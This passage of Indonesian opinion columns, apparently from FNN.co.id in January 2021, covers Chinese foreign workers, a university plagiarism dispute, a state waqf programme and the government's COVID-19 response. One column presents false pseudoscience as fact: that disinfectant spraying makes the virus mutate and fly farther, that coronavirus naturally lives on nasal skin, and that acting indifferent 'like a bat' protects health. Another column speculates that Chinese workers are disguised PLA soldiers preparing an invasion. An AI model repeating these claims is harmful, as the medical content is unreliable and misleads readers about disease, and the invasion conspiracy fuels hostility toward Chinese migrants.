hal-hal yang tidak diinginkan bersama. Hanya karena kelengahan kecerobohan sebenarnya bisa dicagah dari awal. Presiden Republik Indonesia atau sekurangnya Menteri Kordinator Bidang Politik Hukum dan Keamanan (Menkopolhukam) harus menjelaskan di depan publik, siapa mereka? Selain itu apa antisipasi yang telah dilakukan pemerintah dalam merespons kekhawatirkan masyarakat atas kedatangan "makhluk misterius" seperti ini? Jangan sampai semua menjadi terlambat. Jangan sampai mereka adalah penyusupan yang difasilitasi oleh agen-agen bangsa kita, yang menjadi penghianat negara. Bekerja untuk kepentingan Cina dengan memasukan manusia-manusia misterius, dengan alasan TKA. Ketergantungan ekonomi tidak boleh menyebabkan ketergantungan maupun keterjajahan para pemimpin negara kepada Republik Rakyat Cina. Itu bahaya. Kita jadi teringat kembali bagaimana proses aneksasi Nina atas Tibet dahulu. Para tentara Cina itu ketika masuk ke Tibet menyamar sebagai pekerja. Namun berujung pada invasi militer Cina ke Tibet. Mega proyek dibuat sebagai investasi Cina di Tibet. Baik itu Pembangkit Listrik Tenaga Air (PLTA), Kereta Api (KA), Bandara Udara, maupun Jaringan Telekomunikasi. Proyek-proyek besar yang nyatanya sama sekali tidak menyejahterakan masyarakat Tibet. Akan tetapi lebih menguntungkan Pemerintah Cina dan migran Cina itu sendiri. Pemimpin spiritual Tibet, Dalai Lama terusir ke India. Industrialisasi Cina telah mengubah budaya rakyat Tibet. Tibet kini sepenuhnya dalam genggaman pemerintan komunis Cina. Masyarakat dan bangsa Indonesia gelisah dengan kebijakan Pemerintahan Jokowi yang membuka lebar-lebar pintu investasi, hutang luar negeri, dan migrasi WNA Cina ke Indonesia. Proses pewarganegaraan yang dipermudah sangat mengkhawatirkan. DPR harus melakukan pengawasan intensif dan serius atas kebijakan pemerintahan yang cenderung menerapkan politik luar negeri "tidak bebas aktif". Sekali lagi jangan sampai semua menjadi terlambat hanya karena alasan ekonomi yang berujung pada penghianatan . Mumpung belum terjadi sesuatu yang tidak kita inginkan, terkait dengan keamanan dan stabilitas negara. Lakukan segera langkah-langkah penyelamatan. Nah, kembali kepada masuknya WNA Cina melalui Bandara Internasional Soekarno Hatta dengan berpakaian hazmat (hazardous material suit) yang patut untuk dicurigai, maka pertanyaan mendasar kita adalah apakah mereka itu Tentara Pembebasan Rakyat (PLA) Republik Rakyat China ? Waspada terhadap kemungkinan tentara yang siap melatih, mengkoordinasi, dan menginvasi. Waiting for the right moment to invade. Penulis adlah Pemerhati Politik dan Kebangsaan.

Apa Dasar Kemendikbud Nyatakan Muryanto Amin Bersih dari Plagiat?

by Asyari Usman Medan, FNN - Tiba-tiba saja sore tadi, 27 Januari 2021, Kemendikbud mengeluarkan pernyataan bahwa Muryanto Amin, rektor terpilih, bersih dari vonis plagiat sesuai keputusan Rektor USU No. 82/UN.5.1.R/SK/KPM/2021 tertanggal 14 Januari 2021. Klaim Muryanto sudah bersih ini sangat tidak jelas asal-usulnya. Seperti dilaporkan oleh media daring kaldera-id, Plt Sekjen Kemendikbud Ainun Na’im mengklaim bahwa Kementerian sudah mereview (menijau kembali ) persoalan di USU. Dan hasilnya sudah diserahkan juga ke Masjelis Wali Amanat (MWA) USU. Berita kaldera-id ini terasa mentah. Tampak penulis berita tidak mendapatkan konten yang ditulisnya langsung dari Ainun Na’im. Contohnya adalah kutipan langsung di badan berita seperti berikut ini. [[“Hasilnya, Keputusan Rektor USU tanggal 14 Januari 2021 yang menghukum Muryanto Amin karena self plagiarism, cacat prosedur dan substansi,” kata sumber mengutip Ainun Na’im, Rabu (27/1/2021).]] Media online kaldera-id mendengar kutipan ini dari orang lain. Tidak dari Ainun Na’im langsung. Lebih lanjut, kaldera-id menulis: [[Sehingga surat keputusan Rektor USU Nomor: 82/UN.5.1.R/SK/KPM/2021 Tentang Penetapan Sanksi Pelanggaran Norma, Etika Akademik/Etika Keilmuan Dan Moral Sivitas Akademika Atas Nama Muryanto Amin, itu dapat dilakukan pencabutan.]] Ainin Na’im mengatakan, Rektor USU Prof Runtung Sitepu punya dua pilihan. Dia mencabut keputusannya atau Kemendikbud yang mencabut. Ainum mengancam, kalau Kementerian yang mencabut berarti ada pelanggaran. Runtung bisa diperiksa. Ada berita lain sebagai pembanding, yaitu MediaIndonesia-com (MI). Media daring ini cukup ‘agresif’ dan ‘highly motivated’ (bermotivasi tinggi). MI menulis: [[SEKRETARIS Jenderal Kementerian Pendidikan dan Kebudayaan Ainun Naim menyatakan Rektor Universitas Sumatera Utara (USU) terpilih Muryanto Amin tidak terbukti melakukan plagiat. Karenanya, Muryanto dapat segera dilantik. Ainun Naim yang juga Guru Besar Universitas Gajah Mada (UGM) mengutarakan keputusan tersebut diambil setelah pihaknya membentuk tim independen di luar USU yang terdiri para profesor dan para ahli dari berbagai universitas.]] Nah, ini yang menarik. Kapan Ainun membentuk tim independen itu? Mana surat keputusan pembentukan tim ini? Siapa-siapa saja yang berasal dari berbagai universitas itu? Kapan mereka bekerja? Mana laporan penyelidikan (review) mereka? Deretan pertanyaan di atas harus dijawab dulu oleh Ainun Na’im. Sebab, untuk mencabut keputusan Rektur USU tentang otoplagiasi Muryanto Amin tidak diambil secara serampangan. Runtung membentuk tim investigasi dengan surat keputusan. Tim bekerja sesuai surat keputusan itu. Perosonel tim jelas. Temuan tim sangat ‘clear’ dan detail. Mata rantai kerja tim berjalan dengan mekanisme yang baku. Tim menyampaikan laporan ke Rektor. Rektor menyampaikannya ke Komite Etik dan selanjutnya ke Dewa Guru Besar. Semua sesuai prosedur. Bukan cacat prosedur seperti dikatakan oleh Ainun Na’im. Kalau pun Ainun Na’im memaksa Runtung mencabut keputusan itu, itu tidak bisa dilakukan begitu saja. Runtung harus membentuk tim kembali. Menelusuri pekerjaan yang telah dilakukan tim pertama secara lengkap dan tuntas. Pencabutan keputusan tidak bisa dengan lisan saja. Karena semua proses yang dilakukan oleh tim investigasi berdasarkan perintah tertulis Rektor. Ainun Na’im tidak mungkin tak paham soal ini. Yang mungkin adalah bahwa dia ingin memaksakan pelantikan Muryanto Amin pada 28 Januari 2021. Tapi itu tidak bisa dilakukan selagi keputusan Rektor yang mengukuhkan otoplagiasi Muryanto berlaku. Para anggota MWA menekankan bahwa pelantikan tidak boleh dilaksanakan sebelum masalah ini diselesaikan sesuai prosedur yang berlaku.[] Penulis adalah Wartawan Senior FNN.co.id.

Wakaf Ditengah Perampokan Yang Berlindung di Sekeliling Istana

Umat Islam bukannya tak senang bagian dari syari'at agama dicanangkan sebagai program nasional. Namun masalahnya, pemerintah menerapkan kebijakan yang ambivalen. Pada satu sisi umat Islam dicoba untuk dilumpuhkan melalui isu-isu radikalisme, intoleransi, terorisme, dan ekstrimisme. Juga melalui kriminalisasi terhadap para ulama dan aktivis. Sementara di lain sisi dana umat via zakat, haji, dan wakaf justru akan diambil untuk biayai infrastruktur. Para perampok banyak yang berlindung di sekeliling Istana by M. Rizal Fadillah Bandung FNN - Sedang ramai bangsa ini menyoroti perampokan uang rakyat oleh mantan Menteri Sosial Juliari Batubara dan rekan-rekannya dari partai Pertai Demokrasi Indonesia Perjuangan (PDIP). Ini perampokan yang benar-benar brutal, dahsyat, jijik dan sangat bejat. Karena merampok dan memakan dana Bantuan Sosial (Bansos) yang seharusnya diperuntukan untuk rakyat kecil di saat pandemi. Disamping masyarakat menghendaki diberlakukannya hukuman mati untuk Juliari Batubara, juga muncul tuntutan dan desakan agar PDIP dibubarkan saja. Karena PDIP kini menempati urutan teratas sebagai penyumbang kader terbanyak yang terlibat korupsi. Tuntutan yang terbilang wajar, karena prikaku penipuan kepada rakyat, dengan mengusung tagline “Partai Wong Cilik”. Di tengah perampokan uang rakyat yang masif dan berkelanjutan dari Jiwasraya, Asabri, Pertamina, BPS Tenaga Kerja, hingga Lobster dan kini Bansos, justru Pemerintah mencanangkan Gerakan Nasional Wakaf Uang. Suatu gerakan mobilisasi uang rakyat yang sepertinya biasa-biasa saja. Tetapi menjadi luar biasa karena dicanangkan di saat “negara sangat membutuh uang ". Gerakannya sekilas terlihat seperti yang berpihak kepada umat Islam. Tetapi sebenarnya umat Islam sendiri menduga ada motif lain dari pencanangan ini. Motif ekonomi yang lebih dominan ketimbang ibadah. Sebagaimana diungkapan sendiri oleh Presiden yang menyatakan wakaf tidak hanya sebagai ibadah, tetapi juga sosial dan ekonomi. Sungguh pencanangan kebijakan yang menunjukkan kedangkalan keagamaan, dan pandangan sekuler yang memisahkan ibadah dan sosial ekonomi. Seorang muslim yang baik itu akan memandang aspek sosial dan ekonomi sebagai ibadah. Sementara yang terjadi pada penguasa sekarang adalah berupaya dengan sekuat tenaga agar memisahkan sosial ekonomi dari ibadah. Ibadah hanya identik dengan melaksanakan sholat, berpuasa selama bulan ramadhan dan puasa-puasa sunnah, pergi haji dan umroh, mengeluarkan zakat, infah dan shadaqah, mengurus dan menguburkan orang yang meninggal dunia, membangun mesjid dan musholla, mendirikan pasantren dan rumah sakit. Selain ibadah-ibadah muamalah itu, tidak dianggap sebagai ibadah. Mengkritik pemerintah yang zalim dan otoriter itu bukan ibadah. Mengingatkan pemerintah untuk tidak membangun dinasti politik keluarga, itu juga bukan ibadah. Tidak adanya penegakkan hukum kepada mereka yang pro kepada pemerintah, itu bukan ibadah. Berlaku tidak adil kepada sebagian warga negara, itu bukan ibadah. Tidak melaksanakan tujuan bernegara sebagaimana diamantkan Pembukaan UUD 1945, itu bukan ibadah. Membunuh rakyat sendiri tanpa proses pengadilan, itu bukan ibadah. Rezim ini sudah seperti kapal keruk yang karam di tengah laut. Sehingga perlu untuk dilakukan langkah-langkah penyelamatan. Mengeruk dana investor kini semakin tersendat dan susah. Mengeruk hutang dari asing, sudah sampai Rp 6.000 triliun. Itu rupanya belum cukup. Mengeruk uang umat Islam melalui eksploitasi zakat dan dana haji. Kini mencoba lagi mengeruk dana wakaf dari umat Islam. Potensi dana wakaf dari umat Islam setahun ada Rp. 188 Trilyun. Besarnya dana wakaf umat Islam itu membuat Menteri Kekuangan Sri Mulyani sudah bermimpi-mimpi untuk menggunakan dana itu. Mau dipergunakan untuk pembangunan infrastruktur. Sayangnya, umat Islam terlanjur tidak percaya kepada rezim memelihara koruptor dan perampok berlindung di sekeliling kekuasaan ini. Umat Islam bukannya tak senang bagian dari syari'at agama dicanangkan sebagai program nasional. Namun masalahnya, pemerintah menerapkan kebijakan yang ambivalen. Pada satu sisi umat Islam dicoba untuk dilumpuhkan melalui isu-isu radikalisme, intoleransi, terorisme, dan ekstrimisme. Juga melalui kriminalisasi terhadap para ulama dan aktivis. Sementara di lain sisi dana umat via zakat, haji, dan wakaf justru akan diambil untuk biayai infrastruktur. Para perampok banyak yang berlindung di sekeliling Istana. Lagi-lagi infrastruktur pula yang menjadi orientasi dan tujuan utamanya penacanangan wakaf dana umat Islam. Padahal di proyek-proyek infrastruktur inilah perampokan banyak terjadi. Karena lepas dari pengawasan masyarakat luas. Hanya kalangan tententu yang bisa dan punya kemampuan untuk punya akses dan mengasi dan menghitung biaya-biaya untuk pembangunan infrastuktur. DPR yang diharapkan untuk mengawasi juga kemasukan angin. Celakanya lagi uang yang ada di BUMN pun dikorupsi. Begitu juga dana pinjaman untuk menanggulangi pandemi covid-19 bansos ikut dirampok habis. Prilaku penguasa yang sangat bejat. Akibatnya, krisis ekonomi yang sudah di depan mata sekarang, membuat pemerintah menggaruk apapun, termasuk dana wakaf umat Islam. Sayangnya Wapres yang Kyai selalu tampil menjadi tukang stempel kebijakan yang berhubungan dengan keumatan. Soal wajib dan halal vaksin, dana haji yang digunakan untuk keperluan selain haji, eksploitasi zakat, serta pembenaran wakaf yang digunakan untuk hal "di luar ibadah". Wakaf uang di tengah perampokan uang negara yang marak adalah tema dari drama negara. Ada sindiran gambar foto seseorang yang sedang melirik tajam sambil tersenyum, lalu ada tulisan di atasnya "that moment" dan di bawahnya ada tulisan “when the corruptor hear Wakaf”??? he he he. Penulis adalah Pemerhati Politik dan Kebangsaan.

Ada Apa Dengan Presiden Jokowi?

By Hersubeno Arief PRESIDEN Jokowi Senin (25/1) menyampaikan perasaan syukurnya. Pemerintah bisa mengendalikan pandemi dan ekonomi. "Kita bersyukur Indonesia termasuk negara yang bisa mengendalikan dua krisis tersebut dengan baik," kata Jokowi dalam acara Sidang Majelis Pekerja Lengkap (MPL) Persekutuan Gereja-gereja (PGI) di Indonesia. Pernyataan itu sesungguhnya agak janggal, sekaligus mengejutkan. Sebab pada saat Presiden menyampaikan pidato, angka positif Covid-19 999.256. Beberapa ratus kasus lagi, bakal menyentuh angka 1 juta. Sembuh 809.488, dan meninggal dunia 28.132 jiwa. Sebuah media media mencatat, dalam 1 bulan terakhir Presiden bahkan menyampaikan rasa syukurnya itu sebanyak tiga kali. Artinya pernyataan itu tidak salah. Presiden sangat puas dengan kinerja pemerintahannya mengendalikan krisis. Tiba-tiba selang sehari kemudian, Selasa (26/1) Presiden menyampaikan duka citanya karena positif Covid-19 melampaui angka 1 juta. Persisnya positif Covid-19 1.012.350 kasus. Dari jumlah itu, sebanyak 820.356 orang dinyatakan telah pulih, 163.526 orang menjalani perawatan di RS atau isolasi mandiri. Sementara 28.468 orang lainnya meninggal dunia. Sebagaimana diungkapkan oleh Menkes Budi Gunadi Sadikin, Presiden Jokowi mengundang sejumlah menteri untuk Rapat Terbatas. Kepada media, Menkes Budi Gunadi mengaku mendapat titipan pesan dari Presiden Jokowi. Budi mengatakan pemerintah sangat berduka karena banyak masyarakat yang meninggal akibat Covid-19. Selain itu, sambungnya, ada lebih dari 600 tenaga kesehatan yang sudah gugur dalam menghadapi pandemic Covid-19. “Mungkin sebagian dari keluarga dekat dan teman dekat kita juga sudah meninggalkan kita. Itu momen pertama yang harus kita lalui, bahwa ada rasa duka yang mendalam dari pemerintah dari seluruh rakyat Indonesia atas angka ini,” ujar Menkes. Bila kita cermati dari redaksinya, Presiden sesungguhnya tidak secara langsung menyatakan duka citanya. Menkes menggunakan kosa kata “pemerintah,” juga seluruh “rakyat Indonesia. ”Hanya saja media kemudian menggunakan judul “Presiden Jokowi berduka cita, kasus Covid-19 Tembus 1 juta.” Dua pernyataan berbeda itu menunjukkan situasi paradok dalam pemerintahan, khususnya Presiden Jokowi. Bagaimana mungkin hanya dalam waktu 24 muncul dua pernyataan yang sangat jauh berbeda. Sebuah media menggambarkan situasi ini dengan sindirin kocak, sekaligus memprihatinkan. Harian Rakyat Merdeka membuat headline dengan judul “Syukur Alhamdulillah, Berubah Menjadi Innalillah.” Ucapan syukur Presiden ketika angka Covid-19 hampir menyentuh 1 juta, sesungguhnya membuat banyak kening berkerenyit. Angka tersebut, tidak layak disyukuri. Apalagi berdasarkan perhitungan para ahli pandemi, angka sesungguhnya bisa berkali lipat. Ada yang menyebutnya tiga kali lipat. 10 kali lipat. Bahkan sampai 27-28 kali lipat. Intinya jauh lebih besar dibandingkan data yang setiap hari dipublis pemerintah. Soal kacaunya data milik pemerintah itu sudah diakui oleh Menkes Budi Sadikin. Dia mengakui strategi testing pemerintah salah. Dampaknya bisa dipastikan, tracing (penelusuran) dan treatmentnya juga salah. Kacau balau lah semuanya. Bahkan untuk pelaksanaan vaksin, Menkes sampai mengaku kapok menggunakan data Depkes. Mengapa bisa begitu? Mengapa Presiden Jokowi mengeluarkan berbagai pernyataan yang ajaib untuk masalah seserius Covid-19. Pernyataan yang membuatnya, jadi bulan-bulanan media dan media sosial? Mereka kemudian membanding-bandingkan pernyataan Jokowi dengan berbagai kepala negara lain. Akun Instagram Pandemitalks membuat perbadingan pernyataan Presiden Filipina Duterte dengan Jokowi. Dengan populasi 110 juta jiwa, Presiden Filipina langsung mengakui kesalahannya. Padahal saat itu angka positif Covid “baru” tembus 100 ribu. “Kami gagal total. Tidak ada yang mengantisipasi ini,” tegasnya. Di Indonesia, dengan populasi 270 juta, dan angka Covid nyaris tembus 1 juta, Presiden Jokowi menyatakan “bersyukur. ”Situs Pandemitalks biasanya hanya memaparkan data-data saja, tak mampu menahan diri untuk tidak bersikap nyinyir. Ketika akhirnya angka positif Covid tembus 1 juta, Presiden menyatakan duka cita secara tidak langsung. Sehari kemudian Rabu (27/1) PM Inggris Boris Jhonson mendapat pemberitaan besar-besaran di media. Angka kematian di Inggris tembus 100 ribu. Jhonson secara gentlemen menyampaikan permintaan maaf. Dia bertanggung jawab atas semuanya. "Saya sangat menyesal untuk setiap nyawa yang hilang. Tentu saja sebagai perdana menteri ini menjadi tanggung jawab penuh saya terhadap apa-apa saja yang pemerintah telah lakukan," kata Boris dalam konferensi pers dan dikutip dari BBC. Silakan Bandingkan Pada hari yang sama angka kematian di Indonesia yang dilaporkan sebanyak 28.855 orang. Mengingat kacaunya data yang dimiliki pemerintah, kemungkinan angkanya jauh lebih besar. Tidak menutup kemungkinan sudah mendekati, atau bahkan lebih dari 100 ribu. Apa sesungguhnya yang sedang terjadi Pak Jokowi? End Penulis adalah Wartawan Senior FNN.co.id.

Kasus Covid-19 Dunia Tembus 100 Juta, Saatnya "Bersahabat" dengan Sang Virus

By Mochamad Toha INFEKSI Virus Corona alias COVID-19 di seluruh dunia hingga kini telah menembus lebih dari 100 juta kasus. Amerika Serikat masih menjadi negara dengan kasus dan kematian tertinggi, sebanyak 0,25% dari total kasus dunia (25.861.597 kasus) dengan 431.392 kematian. Mengutip CNNIndonesia.com, Selasa (26/01/2021 16:02 WIB), data statistik Worldometers mencatat total kasus Covid-19 di seluruh dunia telah mencapai 100.318.305 dengan angka kematian mencapai 2.150.606 korban jiwa dan 72.367.490 dinyatakan sembuh. Selain AS, India, dan Brazil masing-masing menempati urutan kedua dan juga kedua negara dengan kasus corona tertinggi di dunia. India sejauh ini memiliki 10.677.710 kasus Covid-19 dengan 153.624 kematian. Sedangkan Brazil yang berada di urutan ketiga dunia memiliki 8.872.964 kasus dan 217.712 korban jiwa. Brazil menjadi negara kedua setelah AS dengan angka kematian tertinggi akibat Covid-19. Di Eropa, Rusia menjadi negara dengan kasus corona tertinggi dengan 3.756.931 dan 70.482 kematian. Inggris membuntut sebagai negara dengan kasus corona tertinggi kedua di Benua Biru dengan 3.669.658 dan 98.531 kematian. Indonesia ada di urutan ke-19 sebagai negara dengan kasus corona tertinggi di dunia. Hingga Selasa (26/1/2021) kasus corona di Indonesia tembus 1.012.350 (tambah 13.094 kasus baru). Indonesia satu-satunya negara di Asia Tenggara yang memiliki 1 juta kasus Covid-19. Sementara itu, data John Hopkins University mencatat, kasus corona global saat ini sebanyak 99.734.558 dengan 2.140.446 kematian. Seperti halnya data yang dirilis Worldometers, JHU juga mencatat AS sebagai negara dengan kasus dan angka kematian tertinggi di dunia. Menyusul di bawah AS, kasus tertinggi Covid-19 berturut-turut berada di India, Brasil, Rusia, dan Inggris. Sementara kematian tertinggi di dunia setelah AS tercatat berada di Brazil, India, Meksiko, dan Inggris. Sejak pertama kali dilaporkan di Wuhan, China pada akhir 2019, virus corona hingga saat ini telah menyebar ke lebih dari 100 negara di dunia. Baru-baru ini virus corona bahkan telah dinyatakan bermutasi di Inggris, Brazil, dan Afrika Selatan. Perdana Inggris Boris Johnson pekan lalu bahkan memperingatkan jika jenis baru jika jenis baru virus corona yang ditemukan di sana 30 persen lebih mematikan dan diyakini 40 hingga 70 persen lebih cepat menular. “Kami telah diberi tahu bahwa selain menyebar lebih cepat, sekarang juga tampaknya ada beberapa bukti bahwa varian baru mungkin lebih terkait dengan tingkat kematian yang lebih tinggi,” kata Johnson dalam konferensi pers, Jumat (22/1/2021). Di Indonesia sendiri, meski Pemerintah mengumumkan angka positif Covid-19 sudah tembus 1 juta kasus, dalam Hersubeno Point FNN, tapi menurut epidemiolog dari FKM Universitas Indonesia, dr. Pandu Riono, MPH, PhD, angka realnya bisa 8-15 kali lipat. Nilai tengahnya sekitar 10 juta orang, setidaknya yang sudah terinveksi. Begitu kata Dokter Pandu Riono. Pahami Bakteri Perlu dicatat, dengan mutasi yang begitu cepat dan semakin kuat, Covid-19 sekarang ini tidak hanya menyerang saluran pernafasan hingga masuk ke paru-paru, tapi juga mulai menyerang saluran pencernaan, sistem saraf, dan mata. Mengapa corona bisa bermutasi sampai ratusan variasi genetika yang berbeda? Salah satunya karena masifnya penyemprotan desinfektan berbasis alkohol dan bahan kimia lainnya. Itu yang tidak pernah dipikirkan oleh para peneliti. Perlu diingat, virus corona itu basic-nya seperti virus influenza. Habitatnya juga ada di kulit sekitar hidung manusia. Mereka ini bertugas membersihkan zat-zat patogen yang menempel di kulit sekitar hidung dan bibir atas. Mereka juga bertugas membantu menjaga kelembaban kulit manusia. Jadi, sebenarnya virus corona tersebut berada di tubuh manusia. Sifat dasar virus/bakteri itu serupa dengan antibodi, manusia, hewan, atau tanaman. Yakni, kalau mereka tersakiti, mereka akan memperkuat dirinya, dan menggandakan dirinya beratus-ratus kali lipat, dibandingkan pada kondisi normal. Hewan, akan beranak sebanyak mungkin. Tanaman, akan berbuah dan bertunas sebanyak mungkin. Si corona itu, begitu masuk ke dalam tubuh kelelawar, mereka meriplikasi dirinya sebanyak mungkin. Hal itu dilakukan, karena itu tempat asing bagi mereka, itu membuat mereka ketakutan, maka mereka menggandakan dirinya sebanyak mungkin. Begitu si kelelawar itu dimakan manusia, maka corona ini beralih ke manusia, dan langsung menggandakan diri lebih hebat lagi. Pertanyaannya, mengapa kelelawar-kelelawar itu tidak sakit seperti manusia? Karena kelelawarnya ndablek, cuek, masa bodoh, dan “tidak berpikir”, sehingga antibodinya kuat, dan tidak tersakiti. Maka kalau manusia ingin sehat, walaupun sudah terpapar Covid-19, bersikaplah seperti kelelawar, minimal ndablek, cuek, dan masa bodoh. Covid-19 yang tertuduh sebagai pembunuh massal sadis itu, berusaha dibunuh secara massal pula, dengan disemproti desinfektan secara massal. Akibatnya, ada sebagian yang mati, ada sebagian yang masih hidup. Barangkali yang masih hidup lebih banyak dibanding dengan yang telah mati. Karena sudah menjadi sifatnya virus/bakteri itu, maka yang hidup ini menggandakan dirinya beratus-ratus atau beribu-ribu kali lebih banyak dan lebih kuat dibanding sebelumnya. Kalau sebelumnya kemampuan terbangnya hanya sekitar 1,8-2 m, menjadi akan lebih jauh lagi dibanding dengan itu. Kemampuan terbang lebih jauh inilah yang menyebabkan mereka menjadi bersifat “airborne infection”. Lalu karena jumlah mereka sangat banyak, mereka juga menemukan bakteri-bakteri lain yang mempunyai daya terbang lebih jauh. Corona menumpang pada bakteri lainnya. Hal ini serupa dengan pesawat ulang alik yang numpang pada pesawat yang berbadan lebih besar. Akibat dari penyemprotan desinfektan secara massal, menyebabkan mereka menjadi: Lebih banyak; Lebih kuat; Mampu terbang lebih jauh; Daya rusaknya lebih hebat. Makanya tidak heran kalau sekarang ini banyak ditemukan varian baru corona di dunia. Jadi, kita tidak mungkin bisa lari dari corona, lha wong sejatinya corona itu memang ada di kulit sekitar hidung dan bibir atas manusia. Yang terbang itu corona “liar” yang sedang mencari pasangannya. Karena pasangannya ada di bibir atas, makanya kita disuruh pakai masker agar corona yang liar tadi tidak hinggap di sekitar hidung kita. Dengan mutasi yang begitu cepat dan kuat, Covid-19 sekarang ini tidak hanya menyerang saluran pernafasan hingga masuk ke paru-paru, tapi juga menyerang saluran pencernaan, sistem saraf, dan mata. Inilah yang saya duga kemarin itu yang menyebabkan kematian Dokter JF di Palembang. Karena jika dilihat tanda-tandanya seperti terkena serangan Covid-19. Duodenum Di duodenum (usus 12 jari) tubuh kita itu berkumpul sekitar 19 juta strain bakteri. Bakteri-bakteri itulah yang membantu memproses semua nutrisi yang kita makan, dipecah-dipecah sampai menjadi asam amino. Dalam bentuk asam amino-lah, nutrisi itu terdistribusi ke seluruh sel, dan bisa diserap oleh sel-sel tubuh kita. Yang berperan sebagai expeditor-nya adalah sel-sel darah merah. Makin bagus proses pengolahannya oleh bakteri itu, maka yang terserap lebih maksimal. Begitu pula sebaliknya, makin kurang bagus proses pengolahannya, makin minimal pula yang bisa diserap oleh sel-sel tubuh kita. Jadi, sel-sel tubuh kita itu user/konsumen, bukan produsen. Nah, kalau kita sengaja berpuasa, sengaja mengosongkan perut, maka bakterik-bakteri itu akan keluar dari persembunyiannya, berebut makanan, lalu memprosesnya secara maksimal, menjadi asam amino. Semua potensi nutrisi yang ada, diolah menjadi asam amino-asam amino yang bisa diserap oleh sel tubuh kita, sehingga yang tersisa menjadi residu makanan, menjadi sangat minimal. Kalau usus terlalu banyak menimbun sisa makanan, bisa menghasilkan gas metane, yang bisa meracuni tubuh kita sendiri. Sementara kalau makanan yang di lambung selalu ada, mereka merasa nyaman, karena persediaan makanan cukup banyak. Seperti orang menengok sebentar, lalu mereka kembali lagi. Sehingga, dia tidak keluar, dan memproses nutrisi secara maksimal. Maka, akan banyak tertimbun sisa-sisa makanan di usus kita. Dari proses yang dilakukan oleh bakteri-bakteri itulah, yang menghasilkan keadaan yang ini disebut dengan autophagisom itu. Bakteri yang mengubah nutrisi menjadi asam amino dan menghasilkan berbagai jenis enzim. Asam amino/enzim-enzim hasil olahan bakteri-bakteri itulah yang salah satu berupa protein yang disebut dengan autophagi. Autophagi itu output dari suatu proses yang dilakukan para bakteri-bakteri itu. Ini sebenarnya kebenaran substansi dari sebuah kalimat bijak: “berpuasalah kamu, niscaya kamu sehat”. Penulis adalah Wartawan Senior FNN.co.id.

Ini USU Bung, Plagiator Dikasih Hadiah

by Asyari Usman Medan, FNN - Dr Anggito Abimanyu mengundurkan diri dari Universitas Gadjah Mada (UGM) hanya gara-gara beberapa paragraf yang dia plagiasi dari tulisan orang lain. Anggito mengaku silap dan meminta maaf. Tapi, Dewan Etik UGM tetap memproses tuduhan plagiat. Anggito paham konsekuensi plagiasi. Karena itu, pernyataan pengunduran dirinya dihiasi dengan kata-kata yang mengakui kehinaan plagiasi. Dan dia sadar plagiasi hanya pantas dijatuhi “hukuman mati akademik”. “Demi mempertahankan kredibilitas UGM dengan nilai-nilai kejujuran, integritas dan tanggung jawab akademik, saya mengundurkan diri,” kata Anggito pada 17 Februari 2014. Dan ini dia ucapkan hanya seminggu setelah artikel yang “berdosa kecil” itu dimuat di harian Kompas edisi 10 Februari 2014. Yang dijiplak Anggito hanya artikel untuk kolom opini. Tidak perlu lama-lama Anggito menunda eksekusi “hukuman mati akademik” itu. Tanggal 10 melakukan plagiasi, tanggal 17 menjalani hukuman berat itu. Anggito paham bahwa plagiasi yang dia lakukan mencoreng UGM. Dan membebani universitas dan semua civitas akademika. Dia tahu apa yang harus lakukan. Anggito spontan menyesali perbuatannya. Kemudian meminta maaf kepada publik, UGM dan korban plagiasi. Anggito merasa dirinya tak lagi memiliki kredibiltas di dunia akademik. Tetapi, karena tidak bertele-tele dalam bereaksi, Anggito masih tetap bisa berkiprah. Dia malah diangkat menjadi direktur jenderal di salah satu kementerian. Perlahan, dia memulihkan kepercayaan publik. Itu teladan di UGM. Di Universitas Sumatera Utara (USU), kelihatannya plagiasi dianggap bukan masalah. Dr Muryanto Amin, misalnya, melakukan plagiasi karya sendiri alias otoplagiasi yang berulang dan sengaja, malah dikasih hadiah. Dia dianggap sebagai pahlawan. Entah kenapa. Muryanto tetap akan dilantik menjadi rektor USU. Majelis Wali Amanat (MWA) USU kelihatannya lebih kecut menghadapi “tekanan atas” ketimbang desakan untuk menegakkan adab akademik dan integritas keilmuan. Ada yang mengatakan, Ketua MWA Dr Kumala Kartini Pandjaitan Sjahrir punya anak yang duduk sebagai komisaris Bursa Efek Indonesia (BEI). Boleh jadi Bu Kartini boleh khawatir teradap posisi Pandu Patria Sjahrir. Ibu Ketua MWA ini pada mulanya sangat keras. Dia mengatakan, dia akan mundur kalau Muryanto Amin dipaksakan menjadi rektor USU. Dahsyat, bukan? Cuma, Bu Kartini meungkin sudah lama melanglang buana di luar Medan. Beliau bisa jadi lupa bahwa pameo “Ini Medan, Bung” juga berlaku untuk lingkungan USU. “Ini USU Bung, Plagiator Dikasih Hadiah.” Harap diingat, pimpinan USU telah berusaha sekuat tenaga untuk menegakkan martabat akademik univeritas ini. Namun, Rektor USU Prof Runtung Sitepu tak mampu menghadapi kekuatan proplagiator.[] Penulis adalah Wartawan Senior FNN.co.id

Pejabat Pemerintah Harus Divaksin Antikorupsi

HARI ini Presiden Jokowi dijadwalkan akan disuntik vaksin Covid-19 tahap kedua. Sebelumnya orang nomor satu di Indonesia ini sudah disuntik tanggal 13 Januari lalu dan menjadikan dia orang pertama di negara ini yang divaksin Covid-19. Rencananya, sepanjang tahun ini ditargetkan 181,5 juta orang Indonesia divaksin. Jokowi sendiri menargetkan vaksinasi kepada 30.000 orang setiap hari. Namun, setelah dua pekan berjalan jumlah orang yang sudah divaksinasi baru mencapai 179.000 orang. Jokowi mengajukan diri menjadi orang pertama yang divaksin karena menyakini hal itu adalah kunci kebangkitan ekonomi nasional. “Pengendalian pandemi, terutama melalui vaksinasi adalah game changer, adalah kunci yang sangat menentukan agar masyarakat bisa bekerja kembali, anak-anak kita bisa belajar di sekolah lagi, dan agar kita bisa kembali beribadah dengan tenang, dan juga agar perekonomian nasional kita bisa segera bangkit,” ujar Jokowi dua hari setelah menerima vaksin pertama. Apa benar begitu? Faktanya jauh sebelum pandemik Covid-19 melanda Indonesia di awal Maret tahun lalu, ekonomi Indonesia sebenarnya sudah mengalami kemerosotan dari tahun ke tahun. Sejak awal pemerintahannya, 6 tahun yang lalu, Jokowi menggenjot pembangunan infrastruktur secara masif dengan harapan pertumbuhan ekonomi Indonesia (pada tahun 2015 cuma 4,79%) bisa meroket di atas 7%. Dengan begitu Indonesia diharapkan sudah menjadi negara maju (advanced economies) tahun 2025. Untuk mengejar impian Jokowi tersebut, sepanjang periode 2015 hingga akhir 2019, pemerintah telah menggelontorkan anggaran sebanyak Rp 1.675,4 triliun atau rata-rata Rp 207 triliun per tahun. Tetapi, apa hasilnya? Ternyata dengan penggelontoran dana sebesar 